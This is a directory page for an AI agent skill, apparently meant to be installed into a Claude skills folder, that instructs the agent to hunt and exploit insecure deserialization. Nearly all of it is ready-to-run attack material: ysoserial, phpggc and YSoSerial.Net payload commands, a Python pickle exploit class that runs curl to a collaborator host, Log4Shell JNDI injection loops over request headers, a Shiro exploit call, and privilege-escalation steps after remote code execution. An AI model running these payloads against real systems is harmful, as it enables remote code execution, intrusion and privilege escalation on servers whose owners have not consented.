mcpbeat

Hunt Deserialization

elementalsouls/hunt-deserialization

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

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the whole folder, loaded on every use
1
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instructions only
0
copies elsewhere
how many repositories repackaged it
3280
stars on the repo
on the repository, not the skill itself

Install

one command, takes just this skill from the repository
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-deserialization

The instruction itself

15 sections, as written by the author

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection__wakeup / __destruct magic methods → file write / RCE
  • Python picklepickle.loads(attacker_data)__reduce__os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

| Deserialization signal | Chain to | Impact |

|-----------------------|----------|--------|

| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |

| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |

| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |

| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |


Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed

✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

How to use it

Copy the folder

Take elementalsouls/hunt-deserialization from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

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